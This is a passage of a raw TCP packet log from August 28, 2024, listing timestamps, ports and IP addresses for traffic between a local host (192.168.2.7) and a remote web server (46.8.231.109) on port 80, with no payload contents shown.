Aug 28, 2024 22:55:09.221913099 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.222320080 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222337961 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222349882 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222361088 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222372055 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222383022 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222394943 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222394943 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.222412109 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222419977 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.222425938 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222434044 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.222443104 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222455025 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222461939 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.222465992 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222480059 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222489119 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.222491980 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222501993 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.222507000 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222518921 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222528934 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.222532034 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222544909 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.222554922 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.222567081 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.222595930 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.223036051 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.223048925 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.223059893 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.223073006 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.223079920 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.223098993 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.223124027 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.289285898 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.289307117 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.289319038 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.289335012 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.289343119 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.289345980 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.289360046 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.289371967 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.289380074 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.289385080 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.289397955 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.289407969 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.289413929 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.289423943 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.289433002 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.289438009 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.289450884 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.289477110 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.290245056 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.290311098 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.290388107 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.290463924 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.290539980 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.290554047 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.290581942 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.290596962 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.290730953 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.290745020 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.290759087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.290771961 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.290785074 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.290805101 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.290860891 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.290910959 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.291012049 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.291030884 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.291045904 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.291205883 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.291237116 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.291253090 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.291392088 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.291405916 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.291440964 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.291454077 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.291537046 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.291551113 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.291588068 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.291613102 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.291686058 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.291699886 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.291728020 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.291748047 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.291810036 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.291862011 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.291964054 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.291977882 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.292021990 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.294147015 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.294296026 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.294311047 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.294317961 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.294325113 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.294342995 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.294346094 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.294375896 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.294400930 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.294446945 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.294461012 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.294471979 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.294485092 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.294492006 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.294497013 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.294511080 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.294513941 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.294523954 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.294540882 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.294542074 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.294558048 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.294584036 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.295407057 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.295423985 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.295456886 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.295488119 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.307174921 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.307194948 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.307219028 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.307224989 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.307228088 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.307229042 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.307255983 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.307269096 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.307276964 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.307291031 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.307300091 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.307322979 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.307324886 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.307360888 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.307374954 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.307396889 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.307408094 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.307419062 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.307431936 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.307454109 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.307480097 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.347946882 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.355191946 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.522639990 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.522658110 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.522679090 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.522691965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.522702932 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.522705078 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.522720098 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.522735119 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.522766113 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.522815943 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.522826910 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.522835016 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.522846937 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.522861004 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.522867918 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.522886038 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.522908926 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.522948027 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.522986889 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523047924 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523061037 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523073912 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523087025 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523087978 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523098946 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523102999 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523117065 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523129940 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523149014 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523310900 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523315907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523323059 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523329020 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523334980 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523343086 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523348093 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523364067 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523391008 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523546934 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523560047 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523571014 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523586035 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523590088 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523616076 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523641109 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523808956 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523823977 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523835897 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523852110 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523857117 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523864985 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523876905 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523883104 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523891926 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523904085 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523905993 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523917913 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523930073 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523932934 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523942947 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523957014 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523957968 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.523969889 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.523971081 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.524000883 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.524023056 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.524173975 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524187088 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524220943 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.524235010 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.524282932 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524296045 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524307966 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524318933 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524331093 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524333954 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.524342060 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524354935 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524363041 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.524367094 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524369955 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.524398088 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.524418116 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.524624109 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524636984 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524648905 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524662971 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524668932 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524672985 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.524674892 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524682045 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524689913 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524696112 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524701118 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524713993 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524725914 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524736881 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524748087 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.524748087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.524774075 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.524789095 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.525204897 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525218010 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525228977 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525240898 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525249958 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.525266886 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525280952 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.525280952 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525300026 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525311947 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525311947 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.525326967 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.525327921 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525341034 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525350094 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.525352955 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525365114 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525377989 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525381088 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.525388956 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.525393009 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525405884 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525417089 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525418997 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.525430918 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525440931 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.525443077 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525454998 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.525458097 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525469065 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525482893 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525485039 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.525496960 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525510073 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525511026 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.525521994 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.525523901 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.525552034 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.525592089 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526159048 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526171923 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526182890 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526196003 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526204109 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526209116 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526218891 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526222944 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526237965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526252031 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526252031 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526259899 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526264906 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526277065 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526288033 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526290894 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526304007 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526315928 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526315928 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526330948 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526331902 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526345015 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526357889 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526359081 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526371956 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526385069 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526393890 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526422977 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526730061 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526742935 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526752949 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526765108 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526782036 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526782990 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526797056 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526806116 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526810884 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526825905 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526837111 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526839018 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526849031 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526858091 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526861906 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526874065 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526880026 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526886940 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526896954 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526909113 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526912928 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:09.526922941 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:09.526933908 CEST	80	49702	46.8.231.109	192.168.2.7
